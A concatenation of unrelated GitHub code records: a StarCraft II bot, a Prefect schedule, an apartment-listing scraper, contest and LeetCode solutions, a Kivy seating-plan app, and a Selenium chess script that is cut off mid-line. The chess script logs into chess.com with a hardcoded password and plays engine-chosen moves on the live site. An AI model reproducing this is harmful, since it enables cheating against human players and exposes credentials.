SpinBotBase\n\n\nclass OrbitalCommander:\n bot: SpinBotBase\n call_down = AbilityId.CALLDOWNMULE_CALLDOWNMULE\n\n def __init__(self, bot: SpinBotBase):\n super().__init__()\n self.bot = bot\n\n async def update(self):\n if self.bot.state.game_loop % 10 != 0:\n return\n await self._mule()\n\n async def _mule(self):\n orbitals = self.bot.townhalls(UnitTypeId.ORBITALCOMMAND).ready\n if orbitals:\n can_mule = await self._can_mule(orbitals)\n if can_mule:\n muleable = self._muleable_minerals()\n if muleable:\n can_mule.random(self.call_down, muleable.random)\n\n async def _can_mule(self, orbitals: Units) -> Units:\n can_cast = [o for o in orbitals if await self._can_cast_mule(o)]\n return orbitals.subgroup(can_cast)\n\n async def _can_cast_mule(self, unit: Unit):\n return await self.bot.can_cast(unit, self.call_down, only_check_energy_and_cooldown=True)\n\n def _muleable_minerals(self) -> Units:\n ready_bases = self.bot.townhalls.ready\n if not ready_bases:\n return Units([], self.bot)\n else:\n return self.bot.mineral_field.in_distance_of_group(ready_bases, 9)\n","repo_name":"weaselflink/sc2-bots","sub_path":"orbital_commander.py","file_name":"orbital_commander.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74277226437","text":"# -*- coding: utf-8 -*-\n# pylint: disable= line-too-long\n\n\"\"\"\nSchedules for the database dump pipeline\n\"\"\"\n\nfrom datetime import datetime, timedelta\n\nimport pytz\nfrom prefect.schedules import Schedule\nfrom pipelines.constants import constants\nfrom pipelines.utils.dump_url.utils import generate_dump_url_schedules\nfrom pipelines.utils.utils import untuple_clocks as untuple\n\n######################################\n#\n# EGPWeb Schedules\n#\n######################################\n\ngsheets_urls_nivel_reservatorio = {\n \"nivel_reservatorio\": {\n \"dump_mode\": \"overwrite\",\n \"url\": \"https://docs.google.com/spreadsheets/d/1zM0N_PonkALEK3YD2A4DF9W10Cm2n99_IiySm8zygqk/edit#gid=1343658906\", # noqa\n \"url_type\": \"google_sheet\",\n \"gsheets_sheet_name\": \"Reservatórios\",\n \"materialize_after_dump\": True,\n \"materialization_mode\": \"prod\",\n \"materialize_to_datario\": False,\n \"dump_to_gcs\": False,\n },\n}\n\n\ngsheets_clocks_nivel_reservatorio = generate_dump_url_schedules(\n interval=timedelta(hours=2),\n start_date=datetime(2022, 11, 17, 12, 0, tzinfo=pytz.timezone(\"America/Sao_Paulo\")),\n labels=[\n constants.RJ_RIOAGUAS_AGENT_LABEL.value,\n ],\n dataset_id=\"saneamento_drenagem\",\n table_parameters=gsheets_urls_nivel_reservatorio,\n)\n\nupdate_schedule_nivel_reservatorio = Schedule(\n clocks=untuple(gsheets_clocks_nivel_reservatorio)\n)\n","repo_name":"prefeitura-rio/pipelines","sub_path":"pipelines/rj_rioaguas/saneamento_drenagem/nivel_reservatorio/schedules.py","file_name":"schedules.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"62"} +{"seq_id":"27930551296","text":"import re\nimport scrapy\n\nfrom Apartment import Apartment\n\n\ndef css_selector_value(response, selector, element_index=0):\n value = response.css(selector).extract()\n if value:\n return value[element_index].strip()\n else:\n return None\n\n\ndef get_number(number_string):\n if number_string is None:\n return 0\n result_array = re.findall(r'\\d+(?:[,.]?\\d)*', number_string)\n if len(result_array) == 0:\n return 0\n result = max(result_array)\n if len(result) == 1 or ('.' not in result and ',' not in result):\n return result\n\n if result[-3] == ',' or result[-3] == '.':\n result = result.replace(',', '').replace('.', '')\n return result[:-2] + '.' + result[-2:]\n elif result[-2] == ',' or result[-2] == '.':\n result = result.replace(',', '').replace('.', '')\n return result[:-1] + '.' + result[-1:]\n else:\n result = result.replace(',', '').replace('.', '')\n return result\n\n\nclass ImmoScoutSpider(scrapy.Spider):\n name = 'ImmoScoutSpider'\n\n def __init__(self, state, city, districts=None, min_area=0, max_price=0, min_rooms=0,\n min_price=0, max_rooms=0, max_area=0):\n super().__init__()\n\n self.start_urls = [\n (self.generate_url(state, city, districts, min_area, max_price, min_rooms, min_price, max_rooms, max_area))\n ]\n\n @staticmethod\n def generate_url(state, city, districts, min_area=0, max_price=0, min_rooms=0,\n min_price=0, max_rooms=0, max_area=0):\n if districts is None:\n districts = []\n elif isinstance(districts, str):\n districts = [districts]\n\n districts_string = '_'.join(districts).replace('ä', 'ae').replace('ö', 'oe')\\\n .replace('ü', 'ue').replace('ß', 'ss') if len(districts) > 0 else '-'\n\n def format_number(number):\n return '{0:.2f}'.format(number).replace('.', ',') if number > 0 else ''\n\n min_rooms_string = format_number(min_rooms)\n max_rooms_string = format_number(max_rooms)\n min_area_string = format_number(min_area)\n max_area_string = format_number(max_area)\n max_price_string = format_number(max_price)\n min_price_string = format_number(min_price)\n\n url = f'https://www.immobilienscout24.de/Suche/S-T/Wohnung-Miete/{state}/{city}/{districts_string}' \\\n f'/{min_rooms_string}-{max_rooms_string}' \\\n f'/{min_area_string}-{max_area_string}' \\\n f'/EURO-{min_price_string}-{max_price_string}'\n return url\n\n def parse(self, response):\n for url in response.css('.result-list__listing a.result-list-entry__brand-title-container'):\n if '/expose/' not in url.get():\n continue\n yield response.follow(url, ImmoScoutSpider.parse_listing)\n for next_page in response.css('a[data-nav-next-page=\"true\"]'):\n yield response.follow(next_page, self.parse)\n\n @staticmethod\n def parse_listing(response):\n title = css_selector_value(response, '#expose-title::text')\n cold_rent = css_selector_value(response, '.is24qa-kaltmiete::text')\n total_rent = css_selector_value(response, '.is24qa-gesamtmiete::text')\n utility_cost = css_selector_value(response, '.is24qa-nebenkosten::text', 1)\n heating_cost = css_selector_value(response, '.is24qa-heizkosten::text', 1)\n heating_included = \"zzgl. Heizkosten\" not in total_rent\n deposit = css_selector_value(response, '.is24qa-kaution-o-genossenschaftsanteile::text')\n area = css_selector_value(response, '.is24qa-flaeche::text')\n rooms = css_selector_value(response, '.is24qa-zi::text')\n street = css_selector_value(response, '.address-block span::text')\n zip_code = css_selector_value(response, '.address-block span.zip-region-and-country::text')\n address = street + ' ' + zip_code if street != zip_code else zip_code\n description = css_selector_value(response, '.is24qa-objektbeschreibung::text')\n images = response.css('img.sp-image::attr(data-src)').getall()\n yield Apartment(title=title, cold_rent=get_number(cold_rent),\n total_rent=get_number(total_rent), utility_cost=get_number(utility_cost),\n heating_cost=get_number(heating_cost), heating_included=heating_included,\n deposit=get_number(deposit), area=get_number(area), rooms=get_number(rooms), address=address,\n description=description, link=response.url, images=images)\n\n","repo_name":"se1by/apartment-crawler","sub_path":"apartment_crawler/spider/ImmoScoutSpider.py","file_name":"ImmoScoutSpider.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41259095274","text":"# -*- coding: utf-8 -*-\n\n\ndef main():\n import sys\n from itertools import accumulate\n\n input = sys.stdin.readline\n\n n, m = map(int, input().split())\n p = list(map(int, input().split()))\n abc = [tuple(map(int, input().split())) for _ in range(n - 1)]\n imos = [0] * (n + 1)\n\n for p1, p2 in zip(p, p[1:]):\n if p1 > p2:\n p1, p2 = p2, p1\n\n imos[p1 - 1] += 1\n imos[p2 - 1] -= 1\n # print(p1, p2)\n\n imos = list(accumulate(imos))\n # print(imos)\n ans = 0\n\n for i, (ai, bi, ci) in enumerate(abc):\n count = imos[i]\n ans += min(ai * count, bi * count + ci)\n\n print(ans)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"KATO-Hiro/AtCoder","sub_path":"Others/joi/joi2015ho/a/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"17879619323","text":"from kivy.app import App\nfrom kivy.core.window import Window\nfrom kivy.base import EventLoop\nfrom kivy.factory import Factory\nfrom kivy.uix.screenmanager import ScreenManager, Screen\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.floatlayout import FloatLayout\nfrom kivy.uix.button import Button\nfrom kivy.uix.label import Label\nfrom kivy.properties import VariableListProperty\nfrom kivy.properties import ObjectProperty, ListProperty, StringProperty, NumericProperty\nfrom kivy.uix.scrollview import ScrollView\nfrom kivy.lang import Builder\nfrom kivy.uix.textinput import TextInput\nfrom kivy.cache import Cache\nfrom PyPDF2 import PdfFileMerger\nfrom copy import *\nfrom datetime import *\nimport random\nimport os\nimport csv\nfrom Rapport import *\nfrom FonctionPdf import *\nfrom datetime import *\n\n\n\ndef today():\n D = datetime.today()\n return str(D.day) + \" \" + str(D.month) + \" \" + str(D.year)\n\ndef checkToday(str):\n booleen = False\n path = os.getcwd()\n os.chdir(\"Date\")\n try :\n with open(str + \".txt\",'r') as file:\n test = file.read()\n if test == today():\n booleen = True\n except:\n print(\"Rien pour le moment\")\n os.chdir(path)\n return booleen\n\ndef StampToday(str):\n import os\n path = os.getcwd()\n os.chdir(\"Date\")\n with open(str + \".txt\", 'w') as file:\n file.write(today())\n os.chdir(path)\n\n\n\ndef listenum(liste):\n # On fait une liste vide appelée lliste\n lliste = []\n\n # On fait une boucle For. Pour i de 0 au nombre d'éléments de la liste\n for i in range(0, len(liste)):\n # On ajoute à lliste l'element i de liste\n lliste.append(liste[i])\n \"\"\"\n En fait il y a un outil qui s'appelle deepcopy qui fait ça en une ligne. Mais je ne le connaissais pas quand j'ai fait ce programme.\n \"\"\"\n # On crée une liste vide appelé liste finale\n listefinale = []\n\n # Pour i allant de 0 au nombre d'éléments de lliste\n for i in range(0, len(lliste)):\n # On prend un nombre u au hasard entre 0 et le nombre d'elt de la liste (-1)\n u = random.randint(0, len(lliste) - 1)\n # On appelle Lili l'element de la liste choisit au hasard par le nombre u\n Lili = lliste[u]\n # On met dans listefinale l'element Lili\n listefinale.append(Lili)\n # On supprime l'élément que l'on a mit dans listefinale\n del lliste[u]\n # La fonction envoie en sortie listefinale qui est la liste mais mélangée.\n return listefinale\n\ndef dossier():\n import os\n os.chdir(\"Google Drive//Python//App Rapport//Application Rapport\")\n\n\n# dossier()\n\n\ndef CSV_Vers_DicoClasse():\n # On va charger toutes les listes de toutes les classes.\n Dico = {}\n path = os.getcwd()\n TempListe = []\n os.chdir(\"Classes\")\n for classe in os.listdir():\n nomclasse = classe[:len(classe) - 4]\n print(nomclasse)\n TempListe.clear()\n try:\n print(classe)\n cr = csv.DictReader(open(classe, \"r\"))\n for row in cr:\n tempdico = dict(row)\n TempListe.append(list(tempdico.values()))\n print(TempListe[0][1])\n Dico[nomclasse] = TempListe\n Dico = deepcopy(Dico)\n print(Dico[nomclasse][0][1])\n except IOError:\n print(\"Erreur! Csv Vers DicoClasse\")\n os.chdir(path)\n return Dico\n\n\ndef StrW(fichier, string):\n with open(fichier + \".txt\", \"w\") as file:\n file.write(str(string))\n\n\ndef StrR(fichier):\n with open(fichier + \".txt\") as file:\n String = str(file.read())\n return String\n\n\ndef IntR(fichier):\n with open(fichier + \".txt\") as file:\n n = int(file.read())\n return n\n\n\ndef PrepLabel(DicoLabel, str):\n DicoLabel[str] = Label(text=str)\n return DicoLabel\n\ndef restartP():\n ListePunis =[] #liste avec les noms des punis\n ListeNomPunis = []\n ListePrenomPunis = []\n Rappo = []\n Feuille = [] #Tester .set\n ListeMotifs = []\n ClasseEnCours = []\n ListeSeconde = []\n StrW(\"EleveEnCours\",\"0\")\n labelmotifP = Label(text = str(ListeMotifs))\n ProfP = Label()\n SalleP = Label()\n TexteMotif =\"\"\n TextInputVerifP = TextInput()\n CompteurRapport = 0\n LabelEleveP =Label()\n #ListeSeconde = CSV_Vers_ListeSeconde(ListeSeconde)\n Dico = CSV_Vers_DicoClasse()\n TextInputSanctionP = TextInput()\n TextInputPunitionP = TextInput()\n DicoLabelP = {}\n LabelPunisSecondeP = {}\n for classe in Dico:\n LabelPunisSecondeP = PrepLabel(DicoLabelP,classe)\n return [ListePunis,ListeNomPunis,ListePrenomPunis,Rappo,Feuille,ListeMotifs,ClasseEnCours,LabelPunisSecondeP,labelmotifP,TexteMotif,TextInputVerifP,CompteurRapport,LabelEleveP,ListeSeconde,SalleP,ProfP,Dico,DicoLabelP,TextInputSanctionP,TextInputPunitionP]\n\n[ListePunis,ListeNomPunis,ListePrenomPunis,Rappo,Feuille,ListeMotifs,ClasseEnCours,LabelPunisSecondeP,labelmotifP,TexteMotif,TextInputVerifP,CompteurRapport,LabelEleveP,ListeSeconde,SalleP,ProfP,Dico,DicoLabelP,TextInputSanctionP,TextInputPunitionP] = restartP()\n\nsm = ScreenManager() # Create the screen manager, il est forcement global\n\n\n# On construit 4 ecrans : Un Menu et un ecran par classe\nclass MenuScreenP(Screen):\n def build(self):\n # Le nom de l'ecran\n self.name = 'Menu P'\n # On cree le contenu:\n Menu_Layout = BoxLayout(padding=20, spacing=10, orientation='vertical')\n # On cree un premier bouton:\n self.Bouton_Seconde = Button(text=\"Seconde\")\n self.Bouton_Seconde.bind(on_press=self.Vers_Seconde)\n # On ajoute le bouton dans l'affichage:\n Menu_Layout.add_widget(self.Bouton_Seconde)\n\n # On cree un deuxieme bouton:\n self.Bouton_Premiere = Button(text='Première')\n self.Bouton_Premiere.bind(on_press=self.Vers_Premiere)\n # On ajoute le bouton dans l'affichage:\n Menu_Layout.add_widget(self.Bouton_Premiere)\n\n # On cree un troisième bouton:\n self.Bouton_Terminale = Button(text='Terminale')\n self.Bouton_Terminale.bind(on_press=self.Vers_Terminale)\n # On ajoute le bouton dans l'affichage:\n Menu_Layout.add_widget(self.Bouton_Terminale)\n\n # On ajoute le Layout dans l'ecran de menu\n self.add_widget(Menu_Layout)\n # On ajoute l'ecran menu dans le ScreenManager:\n sm.add_widget(self)\n\n # Une fonction pour aller aux écrans des classes :\n def Vers_Seconde(self, instance):\n sm.current = 'Seconde P'\n\n def Vers_Premiere(self, instance):\n sm.current = 'Premiere P'\n\n def Vers_Terminale(self, instance):\n sm.current = 'Terminale P'\n\n\n\n\n\"\"\"\n*********************************************************\nSeconde\n*********************************************************\n\"\"\"\n\n\nclass SecondeScreenP(Screen): # Le deuxieme ecran : Seconde\n def build(self):\n self.name = 'Seconde P'\n Seconde_Layout = SecondeP() # On creer le contenu\n Seconde_Layout.build()\n self.add_widget(Seconde_Layout) # On ajoute le contenu dans l'ecran\n sm.add_widget(self) # On ajoute l'ecran menu dans le ScreenManager\n\nclass SecondeP(BoxLayout): # Le contenu de lecran du jeu\n def build(self):\n self.orientation = 'vertical'\n self.spacing = 20\n self.Mes_Boutons()\n # On cree un bouton:\n self.Bouton_Menu = Button(text='Retour au menu', size_hint=(0.4, 0.4))\n self.Bouton_Menu.bind(on_press=self.Vers_Menu)\n # On ajoute le bouton dans l'affichage:\n self.add_widget(self.Bouton_Menu)\n\n def Mes_Boutons(self):\n # On cree une liste pour les boutons:\n self.Dico_Boutons = {}\n # On fait tourner une boucle pour creer 10 boutons:\n for classe in Dico: # J'en suis ici (Attention aux \"i\" qui n'est plus à jour)\n if classe[0] == \"S\":\n # On ajoute un bouton dans la liste:\n self.Dico_Boutons[classe] = Button()\n # On lui donne un texte qui depend de i:\n self.Dico_Boutons[classe].text = classe\n self.Dico_Boutons[classe].id = classe\n # On lui associe une fonction:\n self.Dico_Boutons[classe].bind(on_press=self.VersClasse)\n # On ajoute le bouton au layout principal:\n self.add_widget(self.Dico_Boutons[classe])\n\n def VersClasse(self, instance):\n ClasseEnCours.clear()\n ClasseEnCours.append(instance.id)\n print(ClasseEnCours)\n sm.current = ClasseEnCours[0] + \" P\"\n\n # Une fonction pour aller a l'ecran du menu:\n def Vers_Menu(self, instance):\n sm.current = 'Menu P'\n\n\n\"\"\"\n******************************************************************\nPremiere\n******************************************************************\n\"\"\"\n\n\nclass PremiereScreenP(Screen): # Le deuxieme ecran : Premiere\n def build(self):\n self.name = 'Premiere P'\n Premiere_Layout = PremiereP() # On creer le contenu\n Premiere_Layout.build()\n self.add_widget(Premiere_Layout) # On ajoute le contenu dans l'ecran\n sm.add_widget(self) # On ajoute l'ecran menu dans le ScreenManager\n\nclass PremiereP(BoxLayout): # Le contenu de lecran du jeu\n def build(self):\n self.orientation = 'vertical'\n self.spacing = 20\n self.Mes_Boutons()\n # On cree un bouton:\n self.Bouton_Menu = Button(text='Retour au menu', size_hint=(0.4, 0.4))\n self.Bouton_Menu.bind(on_press=self.Vers_Menu)\n # On ajoute le bouton dans l'affichage:\n self.add_widget(self.Bouton_Menu)\n\n def Mes_Boutons(self):\n # On cree une liste pour les boutons:\n self.Dico_Boutons = {}\n # On fait tourner une boucle pour creer 10 boutons:\n for classe in Dico: # J'en suis ici (Attention aux \"i\" qui n'est plus à jour)\n if classe[0] == \"1\":\n # On ajoute un bouton dans la liste:\n self.Dico_Boutons[classe] = Button()\n # On lui donne un texte qui depend de i:\n self.Dico_Boutons[classe].text = classe\n self.Dico_Boutons[classe].id = classe\n # On lui associe une fonction:\n self.Dico_Boutons[classe].bind(on_press=self.VersClasse)\n # On ajoute le bouton au layout principal:\n self.add_widget(self.Dico_Boutons[classe])\n\n def VersClasse(self, instance):\n ClasseEnCours.clear()\n ClasseEnCours.append(instance.id)\n print(ClasseEnCours)\n sm.current = ClasseEnCours[0] + \" P\"\n\n # Une fonction pour aller a l'ecran du menu:\n def Vers_Menu(self, instance):\n sm.current = 'Menu P'\n\n\n\"\"\"\n************************************************************************\nTerminales\n*************************************************************************\n\"\"\"\n\n\nclass TerminaleScreenP(Screen): # Le deuxieme ecran : Terminale\n def build(self):\n self.name = 'Terminale P'\n Terminale_Layout = TerminaleP() # On creer le contenu\n Terminale_Layout.build()\n self.add_widget(Terminale_Layout) # On ajoute le contenu dans l'ecran\n sm.add_widget(self) # On ajoute l'ecran menu dans le ScreenManager\n\nclass TerminaleP(BoxLayout): # Le contenu de lecran du jeu\n def build(self):\n self.orientation = 'vertical'\n self.spacing = 20\n self.Mes_Boutons()\n # On cree un bouton:\n self.Bouton_Menu = Button(text='Retour au menu', size_hint=(0.4, 0.4))\n self.Bouton_Menu.bind(on_press=self.Vers_Menu)\n # On ajoute le bouton dans l'affichage:\n self.add_widget(self.Bouton_Menu)\n\n def Mes_Boutons(self):\n # On cree une liste pour les boutons:\n self.Dico_Boutons = {}\n # On fait tourner une boucle pour creer 10 boutons:\n for classe in Dico: # J'en suis ici (Attention aux \"i\" qui n'est plus à jour)\n if classe[0] == \"T\":\n # On ajoute un bouton dans la liste:\n self.Dico_Boutons[classe] = Button()\n # On lui donne un texte qui depend de i:\n self.Dico_Boutons[classe].text = classe\n self.Dico_Boutons[classe].id = classe\n # On lui associe une fonction:\n self.Dico_Boutons[classe].bind(on_press=self.VersClasse)\n # On ajoute le bouton au layout principal:\n self.add_widget(self.Dico_Boutons[classe])\n\n def VersClasse(self, instance):\n ClasseEnCours.clear()\n ClasseEnCours.append(instance.id)\n print(ClasseEnCours)\n sm.current = ClasseEnCours[0] + \" P\"\n\n # Une fonction pour aller a l'ecran du menu:\n def Vers_Menu(self, instance):\n sm.current = 'Menu P'\n\n\n\n\n\"\"\"\n*************************************************************************\nFenêtres Classe\n**************************************************************************\n\"\"\"\n\nclass ClasseScreenP(Screen): # Le deuxieme ecran : Seconde\n def build(self, name):\n self.name = name + \" P\"\n classegroslayout = ClasseGrosLayoutP()\n classegroslayout.build(name)\n self.add_widget(classegroslayout)\n sm.add_widget(self) # On ajoute l'ecran menu dans le ScreenManager\n\nclass PlanClasseP(FloatLayout):\n def build(self, name):\n self.data = name\n if checkToday(name):\n self.Liste = self.LireListeSave(name)\n else:\n self.Liste = listenum(Dico[name])\n self.SaveListe(name)\n print(self.Liste)\n StampToday(name)\n self.Mes_Boutons()\n\n def LireListeSave(self,name):\n path = os.getcwd()\n os.chdir(\"Sauvegarde\")\n L = []\n with open(name + \".csv\", 'r') as file:\n cr = csv.reader(file)\n for row in cr:\n L.append(row)\n os.chdir(path)\n return L\n\n def SaveListe(self,name):\n L = self.Liste\n path = os.getcwd()\n os.chdir(\"Sauvegarde\")\n with open(name + \".csv\", 'w') as file:\n for i in range(0, len(L) - 1):\n\n j = \"{}\".format(L[i][0]) + \",\" + \"{}\".format(L[i][1])\n file.write(j)\n if i != len(L) - 2:\n file.write(\"\\n\")\n os.chdir(path)\n\n\n\n \"\"\"\n \n Taille fenetre : en x environ 25 - 1300\n en y environ 100 - 800\n Taille Boutton : size_hint 0.1,0.04\n Espacement horizontal: 145\n Espacement vertical : 150\n \n \"\"\"\n\n def Mes_Boutons(self):\n\n self.Liste_Boutons = []\n N = len(self.Liste)\n Taille_Max_Classe = 35\n PosX = [15,160,305,585,730,1010,1155,1300]\n PosY = [200,350,500,650,800]\n j = 0\n k = 0\n for i in range(0,N):\n self.Liste_Boutons.append(Button())\n self.Liste_Boutons[i].text = self.Liste[i][0] + \" \" + self.Liste[i][1][1]\n self.Liste_Boutons[i].size_hint = [0.1,0.04]\n print(j,k)\n self.Liste_Boutons[i].pos = [PosX[j],PosY[k]]\n j = j + 1\n if j > len(PosX) - 1 :\n j = 0\n k = k + 1\n self.add_widget(self.Liste_Boutons[i])\n\nclass ClasseGrosLayoutP(BoxLayout):\n def build(self, name):\n self.data = name\n self.orientation = \"vertical\"\n self.spacing = 10\n boutonsEtLabel = BoutonsEtLabelClasseP()\n boutonsEtLabel.build(name)\n self.add_widget(boutonsEtLabel)\n ClassePlan = PlanClasseP()\n ClassePlan.build(name)\n self.add_widget(ClassePlan)\n\nclass BoutonsEtLabelClasseP(BoxLayout):\n def build(self, name):\n self.data = name\n self.orientation = \"horizontal\"\n self.size_hint = (1, .1)\n self.Bouton_Menu = Button(text='Retour au menu')\n self.Bouton_Menu.bind(on_press=self.Vers_Menu)\n # On ajoute le bouton dans l'affichage:\n self.add_widget(self.Bouton_Menu)\n self.MotifButton = Button()\n self.MotifButton.text = \"Vers les motifs\"\n self.MotifButton.id = \"Motif\"\n self.MotifButton.bind(on_press=self.VersMotif)\n self.add_widget(self.MotifButton)\n self.add_widget(DicoLabelP[self.data])\n\n def VersMotif(self, instance):\n print(ClasseEnCours)\n #sm.current = 'Motifs'\n # Une fonction pour aller a l'ecran du menu:\n\n def Vers_Menu(self, instance):\n sm.current = 'Menu P'\n\n\n\n\n\n\"\"\"\n***************************************************************************************\nApplication\n**************************************************************************************\n\"\"\"\n\n\nclass ScreenAppP(App):\n\n def build(self):\n MenuP = MenuScreenP() # On definit l'ecran menu\n MenuP.build() # On le construit\n ClasseDicoP = {}\n for classe in Dico:\n ClasseDicoP[classe] = ClasseScreenP()\n ClasseDicoP[classe].build(classe)\n\n TerminaleP = TerminaleScreenP() # On definit l'ecran jeu\n TerminaleP.build() # On le construit\n PremiereP = PremiereScreenP() # On définit l'écran premiere\n PremiereP.build() # On le construit\n SecondeP = SecondeScreenP() # On définit l'écran seconde\n SecondeP.build() # On le construit\n sm.current = 'Menu P' # On envoie en premier l'ecran du menu grace a son nom\n return sm\n\n\nif __name__ == '__main__':\n ScreenAppP().run()\n\n\n\n\n\n\n\n\n","repo_name":"ProfesseurGibaud/ApplicationProf","sub_path":"AppRapport/App Prof/PlanDeClasse.py","file_name":"PlanDeClasse.py","file_ext":"py","file_size_in_byte":17526,"program_lang":"python","lang":"fr","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"6570560657","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 19 09:54:10 2023\r\n\r\n@author: david\r\n\r\nLeetCode - Easy 1768. Merge Strings Alternately\r\n\r\nRuntime\r\n51ms\r\nBeats 32.87%of users with Python3\r\n\r\nMemory\r\n16.42mb\r\nBeats 39.28%of users with Python3\r\n\"\"\"\r\n\r\nclass Solution:\r\n def mergeAlternately(self, word1: str, word2: str) -> str:\r\n m = min(len(word1), len(word2))\r\n s = \"\"\r\n for i in range(m):\r\n s += word1[i] + word2[i] \r\n s += word1[m:] + word2[m:]\r\n return s","repo_name":"Gadoli/LeetCode","sub_path":"src/easy1768.py","file_name":"easy1768.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"923766456","text":"\ndriver = \"\"\nmove_num = 0\ndef main():\n import time\n import math\n from selenium import webdriver\n from selenium.webdriver.common.by import By\n from selenium.webdriver.chrome.service import Service\n from selenium.webdriver.support.wait import WebDriverWait\n from selenium.webdriver.support import expected_conditions as EC\n from chessai import player, actions, result, evaluation, minimax, max_value, min_value, perform_minimax, board\n global is_capture\n global en_passant\n global driver\n global moves2\n global move_num\n s = Service(\"./chromedriver/chromedriver\")\n\n driver = webdriver.Chrome(service = s)\n\n driver.get(\"https://www.chess.com/login\")\n search = driver.find_element(By.XPATH, value='//*[@id=\"username\"]')\n search.send_keys('Dekshunari2')\n\n search = driver.find_element(By.ID, value='password')\n search.send_keys('Chessrobot1')\n search = driver.find_element(By.ID, value = 'login')\n search.click()\n\n '''\n element = WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.LINK_TEXT, 'Play a Friend'))\n )\n search = driver.find_element(By.LINK_TEXT, value = 'Play a Friend')\n search.click()\n search = driver.find_element(By.CLASS_NAME, value = 'play-friend-search-input-input')\n search.send_keys('Dekshunari')\n element = WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.LINK_TEXT, 'dekshunari'))\n )\n search = driver.find_element(By.LINK_TEXT, value = 'dekshunari')\n search.click()\n\n #Change time of game, dunno but needed to wait 10\n driver.implicitly_wait(10)\n element = WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.XPATH, '//*[@id=\"board-layout-sidebar\"]/div/div[2]/div/div[4]/div/div[2]/button'))\n )\n search = driver.find_element(By.XPATH, '//*[@id=\"board-layout-sidebar\"]/div/div[2]/div/div[4]/div/div[2]/button')\n search.click()\n #click 30 min\n element = WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.XPATH, '//*[@id=\"board-layout-sidebar\"]/div/div[2]/div/div[4]/div/div[2]/div/div[3]/div[2]/button[1]'))\n )\n search = driver.find_element(By.XPATH, value = '//*[@id=\"board-layout-sidebar\"]/div/div[2]/div/div[4]/div/div[2]/div/div[3]/div[2]/button[1]')\n search.click()\n\n #click white pieces\n search = driver.find_element(By.XPATH, value = '//*[@id=\"board-layout-sidebar\"]/div/div[2]/div/div[4]/div/div[3]/div[1]/button[1]')\n search.click()\n #Switch to unrated\n search = driver.find_element(By.XPATH, value = '//*[@id=\"board-layout-sidebar\"]/div/div[2]/div/div[4]/div/div[3]/div[2]/div')\n search.click()\n #Play\n search = driver.find_element(By.XPATH, value = '//*[@id=\"board-layout-sidebar\"]/div/div[2]/div/div[4]/div/button')\n search.click()\n '''\n driver.implicitly_wait(20)\n move_num = 0\n last_move = 0\n playing_robot = input('Playing robot?')\n cores = int(input('Number of cores? '))\n deep = int(input('Depth: '))\n if playing_robot == 'y':\n moves = '[@id=\"board-layout-sidebar\"]/div'\n moves2 = 'board-vs-personalities'\n else:\n moves = '[@id=\"move-list\"]'\n moves2 = 'board-single'\n best_speed = 0\n worst_speed = 99999999\n game_time = 0\n\n # Getting AI chess color\n while True:\n ai_color = input('AI Color (w or b): ').lower()\n if ai_color == 'w' or ai_color == 'b':\n color = ai_color\n if ai_color == 'b':\n move_num = 1\n break\n\n while board.is_checkmate() == False:\n print()\n print(board)\n if player(board) == ai_color:\n start_time = time.time()\n move = minimax(board, deep, cores)[0]\n end_time = time.time()\n tmp = str(move)\n print(type(move))\n print(tmp)\n is_capture = board.is_capture(move)\n en_passant = board.is_en_passant(move)\n move_num = moveto(tmp, move_num, color)\n board.push(move)\n total_time = round(end_time - start_time, 2)\n game_time += total_time\n approx_moves = board.legal_moves.count() ** (deep + 1)\n print(f\"Approx Moves Searched: {approx_moves}\")\n print(\"Time: \" + str((total_time)))\n if approx_moves > 0:\n speed = approx_moves / (total_time+0.0001)\n if 100000 > speed > best_speed:\n best_speed = speed\n if speed < worst_speed:\n worst_speed = speed\n print(f'{speed} moves per second!')\n print(f'Best: {best_speed}')\n print(f'Worst: {worst_speed}')\n else:\n while True:\n if ai_color == 'w':\n element = WebDriverWait(driver, 1000).until(\n EC.presence_of_element_located((By.XPATH, f'//*{moves}/vertical-move-list/div[{move_num}]/div[@class=\\'black node selected\\']'))\n )\n last_move = driver.find_element(By.XPATH, f'//*{moves}/vertical-move-list/div[{move_num}]/div[@class=\\'black node selected\\']')\n print(last_move.text)\n human_move = last_move.text\n try:\n board.push_san(human_move)\n except:\n continue\n break\n else:\n element = WebDriverWait(driver, 1000).until(\n EC.presence_of_element_located((By.XPATH, f'//*{moves}/vertical-move-list/div[{move_num}]/div[@class=\\'white node selected\\']'))\n )\n last_move = driver.find_element(By.XPATH, f'//*{moves}/vertical-move-list/div[{move_num}]/div[@class=\\'white node selected\\']')\n print(last_move.text)\n human_move = last_move.text\n try:\n board.push_san(human_move)\n except:\n continue\n break\n \n\n print(\"Checkmate\")\n print(board)\n print(f'Total time thinking: {math.floor(game_time / 60)} mins {round(game_time - 60 * math.floor(game_time / 60))} secs.')\n input('Press Enter to Quit')\n driver.quit()\n\ndef moveto(name, move_num, color):\n import chess\n from selenium import webdriver\n from selenium.webdriver.common.by import By\n from selenium.webdriver.chrome.service import Service\n from selenium.webdriver.support.wait import WebDriverWait\n from selenium.webdriver.support import expected_conditions as EC\n from chessai import player, actions, result, evaluation, minimax, max_value, min_value, perform_minimax, board, cont\n columns = {'a': 1, 'b': 2, 'c': 3, 'd': 4, 'e': 5, 'f': 6, 'g': 7, 'h': 8}\n if name[-1] == 'q':\n promote = True\n name = name[:-1]\n else:\n promote = False\n start_location = name[-4:-2]\n end_location = name[-2:]\n piece = 